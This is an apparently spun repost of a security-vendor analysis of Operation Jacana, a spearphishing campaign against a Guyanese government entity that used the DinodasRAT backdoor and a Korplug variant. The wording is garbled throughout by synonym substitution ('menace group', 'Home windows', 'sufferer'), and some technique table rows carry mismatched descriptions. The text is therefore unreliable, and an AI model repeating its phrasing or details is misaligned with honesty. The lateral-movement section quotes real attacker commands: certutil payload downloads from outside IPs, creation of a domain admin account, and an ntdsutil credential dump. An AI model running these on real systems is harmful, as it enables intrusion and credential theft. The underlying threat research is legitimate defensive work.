Operation Jacana: Foundling hobbits in Guyana



In February 2023, ESET researchers detected a spearphishing marketing campaign focusing on a governmental entity in Guyana. Whereas we haven’t been in a position to hyperlink the marketing campaign, which we named Operation Jacana, to any particular APT group, we imagine with medium confidence {that a} China-aligned menace group is behind this incident.

Within the assault, the operators used a beforehand undocumented C++ backdoor that may exfiltrate recordsdata, manipulate Home windows registry keys, execute CMD instructions, and extra. We named the backdoor DinodasRAT based mostly on the sufferer identifier it sends to its C&C: the string at all times begins with Din, which reminded us of the hobbit Dinodas from the Lord of the Rings.

Key factors of this blogpost:

Operation Jacana is a focused cyberespionage marketing campaign towards a Guyanese governmental entity.
After the preliminary compromise by way of spearphishing emails, the attackers proceeded to maneuver laterally by way of the sufferer’s inner community.
To extract delicate information, the operators used a beforehand undocumented backdoor we named DinodasRAT.
DinodasRAT encrypts the data it sends to the C&C utilizing the Tiny Encryption Algorithm (TEA).
Other than DinodasRAT, the attackers additionally deployed Korplug, main us to suspect that China-aligned operators are behind this operation.

This marketing campaign was focused, because the menace actors crafted their emails particularly to entice their chosen sufferer group. After efficiently compromising the primary couple of machines with DinodasRAT, the operators proceeded to maneuver laterally and breach the goal’s inner community, the place they once more deployed the DinodasRAT backdoor, together with further malicious instruments, amongst them a variant of Korplug (aka PlugX). The overview of the compromise circulate in Operation Jacana is proven in Determine 1.

Determine 1. Operation Jacana compromise circulate


As of this writing, we have now not been in a position to attribute Operation Jacana to any identified group. Nonetheless, because of a clue we discovered, we really feel that we aren’t fully at the hours of darkness relating to the perpetrators. Through the assault, the menace actors deployed a variant of Korplug (aka PlugX), which is widespread to China-aligned teams – for instance, Mustang Panda’s Hodur: Outdated methods, new Korplug variant.

Whereas our attribution to a China-aligned menace actor is made with solely medium confidence, the speculation is additional supported by latest developments in Guyana–China diplomatic relations. In February 2023, the identical month that Operation Jacana occurred, the Particular Organised Crime Unit (SOCU) of Guyana arrested three folks in a cash laundering investigation involving Chinese language corporations, an act disputed by the native Chinese language embassy. Moreover, as a part of the Belt and Street Initiative, China has financial pursuits in Guyana. 

Preliminary Entry

As step one in breaching their sufferer’s community, the menace actors behind Operation Jacana despatched the goal group spearphishing emails referencing Guyanese public affairs. We noticed the next topic strains:

President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas
Guyanese fugitive in Vietnam

Primarily based on the e-mail topics, the operators should have been following the political goings-on in Guyana – the time we registered new detections on the focused governmental entity coincided with the Guyanese president’s attendance of the CARICOM convention in Nassau.

The spearphishing emails contained a hyperlink that, when clicked, downloaded a ZIP file from Since a site ending with signifies a Vietnamese governmental web site, we imagine that the operators had been in a position to compromise one other governmental entity and use it to host their malware samples. We have now notified the VNCERT in regards to the compromised infrastructure.

As soon as the sufferer extracted the ZIP file, which wasn’t password protected, and launched the contained executable, they turned compromised with the DinodasRAT malware. The extracted filenames are associated to the phishing e mail topic strains:

Guyanese fugitive in Vietnam20220101to20230214Guyanese fugitive in Vietnam.docx.exe
The Bahamas/President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas.doc.exe

Lateral Motion

After breaching their goal, the attackers proceeded to maneuver throughout the sufferer’s inner community. In line with our telemetry, BAT/Impacket.M and associated detections had been triggered within the community, which factors to using Impacket, or an identical WMI-based lateral motion device. 

A few of the instructions the attackers executed on the community embody:

certutil -urlcache -split http://23.106.123(.)166/vmtools.rar
internet consumer test8 Test123.. /add /do
internet group “area admins” test8 /add /do
certutil -urlcache -split -f http://23.106.122(.)5/windowsupdate.txt c:programdatawindowsupdate.txt
cd c:programdata
powershell “ntdsutil.exe ‘ac i ntds’ ‘ifm’ ‘create full c:temp’ q q”

The final command dumps ntds.dit utilizing the LOLBin ntdsutil.exe. This allows dumping passwords saved on a Home windows server.



DinodasRAT is a beforehand undocumented distant entry trojan developed in C++ with varied capabilities that permit an attacker to spy on and acquire delicate info from a sufferer’s laptop. 

When executed, the malware first checks whether or not three arguments had been handed. If current, these arguments should comprise the next info within the following order:

the letter d,
a quantity, which is a course of ID, and
a full file path.

If all three arguments had been handed, DinodasRAT terminates the method represented by the method ID utilizing the Home windows API TerminateProcess then makes use of the Home windows API DeleteFileW to delete the file handed within the third argument. After this, the method stops its execution by utilizing the C++ customary library exit perform. That is almost certainly meant as an uninstall perform.

If no arguments had been handed, DinodasRAT continues its execution by making a mutex named consumer and checks for the existence of the traditional Home windows listing C:ProgramData. If it exists, the malware creates a subdirectory named Software Doc, which is used to allocate a configuration file and different recordsdata associated to the backdoor. In case the Home windows listing doesn’t exist, DinodasRAT creates a path within the root listing known as Program.FilesApplication.Doc. The strings Software Doc, ProgramData and Program.FilesApplication.Doc are encrypted utilizing the Tiny Encryption Algorithm (TEA).

The Software Doc listing is created with the attributes Learn-only and Hidden. Within Software Doc, DinodasRAT creates two subdirectories, named 0 and 1. As soon as the listing exists, the malware spawns three threads used for information assortment and exfiltration. An in depth description of their conduct is given in Desk 1.

Desk 1. Thread descriptions



Take a screenshot of the show of the sufferer’s machine each 5 minutes utilizing Home windows API capabilities like CreateDCW, BitBlt, DeleteDC, or ReleaseDC. The screenshot is compressed and saved within the subdirectory Software Doc.

In an effort to compress the screenshot, the attackers use the zlib library, model 1.2.11.

The format of the filename used for the saved screenshots is the next: <YYYYMMDDHHMMSS>_<5 random digits>_<one random digit>.jpg


Get the content material of the clipboard each 5 minutes utilizing the Home windows API perform GetClipboardData and put it aside within the subdirectory Software Doc1.

The format of the filename used for the clipboard information file is the next: DateTimeStamp_<5 random digits>_<one random digit>.txt

Loops by way of the subdirectories 0 and 1 and sends the filenames, encrypted with TEA and base64 encoded, to the C&C server. If the C&C server replies, it creates one other packet with a purpose to ship the filename with its information. Lastly, it deletes the file from the sufferer’s machine.

After the threads are spawned, DinodasRAT creates a file named conf.ini in the principle listing. This file accommodates an ID used to determine the sufferer to the C&C server. 

Determine 2 reveals an instance of the ID saved within the conf.ini file.

Figure 2 Example of ID saved in conf.ini file
Determine 2. Instance of an ID saved within the conf.ini file

The format of the ID is Din_<YYYYMMDD>_<MD5-HASH>_<RANDOM-VALUE>_V1, the place:

<YYYYMMDD> is the set up date,
<MD5-HASH> is calculated utilizing the IP tackle of the sufferer and the set up date in milliseconds,
<RANDOM-VALUE> is a random worth, and
V1 might be the malware model.

TEA: Tiny Encryption Algorithm

DinodasRAT makes use of TEA to decrypt a few of its strings, in addition to to encrypt/decrypt information despatched to, or obtained from, its C&C server. TEA, or Tiny Encryption Algorithm, is an easy block cipher, famous for its ease of implementation in software program and {hardware}. For instance, the unique reference implementation of its encode perform contains just some strains of C code, with a really brief setup time and no tables of preset values. DinodasRAT employs the algorithm within the cipher-block chaining (CBC) mode. In some instances, the encrypted information is additional encoded with base64 earlier than being despatched to the C&C server.

We discovered that the malware accommodates three completely different keys used for various encryption/decryption situations, as described in Desk 2.

Desk 2. TEA keys utilized by DinodasRAT

Key N

A1 A1 18 AA 10 F0 FA 16 06 71 B3 08 AA AF 31 A1
Used primarily to encrypt/decrypt communications with the C&C server.

A0 21 A1 FA 18 E0 C1 30 1F 9F C0 A1 A0 A6 6F B1
Used to encrypt the identify of the recordsdata created within the screenshot performance, earlier than they’re despatched to the C&C server.

11 0A A8 E1 C0 F0 FB 10 06 71 F3 18 AC A0 6A AF
Used to decrypt the set up paths.

It’s potential that the attackers selected to make use of TEA with a purpose to make the job simpler for themselves – we have now purpose to imagine that the malware’s implementation of the algorithm is just not created from scratch, however that it may very well be tailored from BlackFeather’s blogpost Tea Algorithm – C++

C&C communication and malicious exercise

In an effort to talk with the C&C server, DinodasRAT makes use of the Winsock library to create a socket that makes use of the TCP protocol. Though TCP is the default protocol used to ship and obtain info from the C&C server, we have now seen that DinodasRAT is able to altering to the UDP protocol.

The backdoor additionally creates varied threads for various functions, reminiscent of manipulating a obtained command to execute on the sufferer’s machine. Therefore, with a purpose to keep synchronized communication, DinodasRAT makes use of Home windows occasion objects by utilizing Home windows API capabilities like CreateEventW, SetEventW, and WaitForSingleObject.

To start out the principle communication with the C&C server, DinodasRAT sends a packet with primary details about the sufferer’s machine and its configuration, reminiscent of:

Home windows model,
OS structure,
malware execution path encoded in base64, and
a worth used for the UDP protocol, which by default is 800.

Determine 3 reveals not solely primary info collected in regards to the sufferer, but additionally the ID generated by the malware, which serves as a sufferer identifier for the C&C server.

Figure 3 Basic information before its encryption
Determine 3. Fundamental info earlier than its encryption

All the data that DinodasRAT sends to the C&C server by way of the TCP protocol is TEA encrypted. Along with that, among the info can also be base64 encoded.

To ship the stolen info to the C&C server, DinodasRAT crafts a packet containing the next:

First byte: an ID presumably to point whether or not the information is TEA encrypted (0x30) or base64 encoded and TEA encrypted (0x32).
Subsequent DWORD: encrypted information measurement.
Remaining bytes: encrypted information.

Determine 4 reveals an instance of an encrypted packet to be despatched to the C&C server.

Figure 4 encrypted packet example
Determine 4. Instance of an encrypted packet

Throughout our evaluation we had been unable to acquire a response from the C&C server, however we had been in a position to decide that any packets obtained from the server must also be encrypted with TEA.

Relating to dealing with instructions obtained from the C&C server, DinodasRAT creates a thread with an infinite loop chargeable for receiving and figuring out whether or not packets comprise encrypted instructions to execute.

A packet, as soon as decrypted, accommodates the next construction:

First DWORD: ID of motion to carry out, hex worth (see Desk 2).
Second DWORD: one other ID, associated to point on the consumer facet that this packet is a command worth (in hex) to execute on the sufferer’s machine.
Remainder of the packet: information utilized by the command to execute.

DinodasRAT accommodates instructions able to performing varied actions on a sufferer’s machine or on the malware itself. Desk 3 lists the supported instructions with a brief description of every. 

Desk 3. DinodasRAT instructions

Command ID



Record the contents of a selected listing.


Delete a file or the content material of a listing.


Change the attribute of a file to hidden or regular.


Ship recordsdata to the C&C server.


Set an occasion object used for command 0x05.


Modify a binary file with bytes obtained from the C&C server or execute a command utilizing CreateProcessW.


Set an occasion object used for command 0x08.


Write a variable known as va, with its worth, within the conf.ini file.


Enumerate working processes.


Terminate a course of by its course of ID.


Record providers on the sufferer’s machine.


Begin or delete a service.


Get data from a Home windows registry key.


Delete a Home windows registry key.


Create a Home windows registry key.


Execute a file or a command utilizing the CreateProcessW Home windows API.


Execute a command utilizing the CreateProcessW Home windows API.


Obtain a site and execute nslookup with that area to create one other socket with the IP tackle.


Obtain and execute a command utilizing Home windows APIs CreateProcessW, PeekNamedPipe, and ReadFile.


Identical as command 0x18.


Set an occasion object used for instructions 0x18, 0x19, and 0x1B.


Interactive reverse shell.


File manipulation; rename, copy, transfer recordsdata, and many others.


Set the string alright to a worldwide variable and ship that worth to the C&C server.


Write a variable known as mode with its worth into the conf.ini file.


Write a variable known as ptype with its worth into the conf.ini file.


Get or set a variable known as fmode with its worth within the conf.ini file.


Terminate malware execution.


Write the variables s and sub, with their respective values, right into a file named p.ini. Each variables can have a Boolean worth of true or false.


Configurate the occasion and international variables associated with the take screenshot thread.


Write a variable known as c with its worth right into a file named p.ini.


Modify the worth of a worldwide variable used for the UDP protocol, default worth 0x800.

Throughout our investigation we have now seen solely the creation and use of the ID variable with its respective worth within the conf.ini file, which is used to point the sufferer to the C&C server.

Moreover, DinodasRAT makes use of a multipurpose international variable which, for instance, can comprise the trail of a filename to be deleted or the identify of a Home windows registry subkey to create.

Different malware samples

The attackers additionally used different instruments other than DinodasRAT throughout the intrusion:

A variant of Korplug (aka PlugX) – A backdoor sometimes utilized by China-aligned menace teams.
A SoftEther VPN consumer. This was in all probability used to proxy native ports, reminiscent of RDP, to the C&C server.


Operation Jacana is a cyberespionage marketing campaign that impacted a governmental entity in Guyana. We imagine with medium confidence that it was carried out by a China-aligned APT group.

The attackers used a mixture of beforehand unknown instruments, reminiscent of DinodasRAT, and extra conventional backdoors reminiscent of Korplug.

Primarily based on the spearphishing emails used to realize preliminary entry to the sufferer’s community, the operators are protecting observe of the geopolitical actions of their victims to extend the probability of their operation’s success.

For any inquiries about our analysis revealed on WeLiveSecurity, please contact us at
ESET Analysis affords personal APT intelligence studies and information feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.


An inventory of IoCs may also be present in our GitHub repository




ESET detection identify



President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas.doc.exe





ZIP file containing DinodasRAT.


President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas.exe










Internet hosting supplier

First seen




Leaseweb Asia Pacific pte. ltd.


Hosts different malicious elements.





Hosts different malicious elements.



Leaseweb Asia Pacific pte. ltd.


Hosts different malicious elements.


FPT Telecom Firm


Hosts DinodasRAT in a compressed file.



Forewin Telecom Group Restricted, ISP at, HK


C&C server for DinodasRAT.



Edward Poon


C&C server for DinodasRAT.


Sprint Networks Inc.


C&C server for DinodasRAT.

MITRE ATT&CK strategies





Useful resource Growth


Purchase Infrastructure: Digital Personal Server

Operators have used VPS servers for internet hosting their payloads.


Develop Capabilities: Malware

Operators made customized malware for the operation.


Stage Capabilities: Add Malware

Operators have used servers to add malware.


Compromise Infrastructure: Server

Operators have compromised servers to host their payloads.


Acquire Capabilities: Malware

Operators have used a variant of the Korplug backdoor on this operation.


Acquire Capabilities: Instrument

Operators have used instruments reminiscent of Impacket and SoftEther.

Preliminary Entry


Phishing: Spearphishing Hyperlink

Operators made use of scheduled duties to persist their malware.



Command and Scripting Interpreter: PowerShell

Operators have used PowerShell to execute instructions on the sufferer’s community.


Command and Scripting Interpreter: Home windows Command Shell

Operators have used Home windows command shell to execute instructions on the sufferer’s inner community.


Command and Scripting Interpreter: Visible Fundamental

Operators have used VBScripts.


Native API

DinodasRAT makes use of APIs, e.g., CreateProcessW, to execute CMD instructions on the sufferer’s machine.


Person Execution: Malicious Hyperlink

Operators have relied on their victims to open a hyperlink to obtain their malware.


Person Execution: Malicious File

Operators have relied on their victims to execute their malware.

Protection Evasion


Deobfuscate/Decode Information or Data

DinodasRAT compresses recordsdata earlier than they’re despatched to the C&C server.

DinodasRAT additionally makes use of TEA to decrypt strings.


Masquerading: Double File Extension

Operators have used “double extensions” to trick victims into executing their malware.


Indicator Removing: File Deletion

DinodasRAT is able to self-deletion from the sufferer’s machine.


Cover Artifacts: Hidden Information and Directories

To evade detection, DinodasRAT creates hidden folders.



Legitimate Accounts: Area Accounts

Operators have created area accounts to keep up persistent entry to the sufferer’s inner community.


Scheduled Activity/Job

Operators made use of scheduled duties to persist their malware.

Credential Entry


OS Credential Dumping: NTDS

Operators abused ntdsutil.exe to dump credentials.



File and Listing Discovery

DinodasRAT can record the contents of a listing or a file.


Question Registry

DinodasRAT can get hold of info from Home windows registry keys.


Course of Discovery

DinodasRAT can get hold of details about the processes working on the sufferer’s machine.


System Service Discovery

DinodasRAT can get hold of details about the providers working on the sufferer’s machine.


System Data Discovery

DinodasRAT retrieves info like Home windows model from the sufferer’s machine.



Clipboard Data

DinodasRAT can get hold of info situated on the clipboard of the sufferer’s machine.


Display Seize

DinodasRAT can take screenshots on the sufferer’s machine.

Command and Management


Encrypted Channel: Symmetric Cryptography

DinodasRAT has used TEA for encrypting C&C server communications.


Non-Software Layer Protocol

DinodasRAT has used TCP or UDP protocols for its connection to the C&C server.


Data Encoding

DinodasRAT makes use of base64 encoding for strings and information despatched to its C&C server.



Exfiltration Over C2 Channel

DinodasRAT exfiltrates information over the identical channel used for its C&C server.


Supply hyperlink

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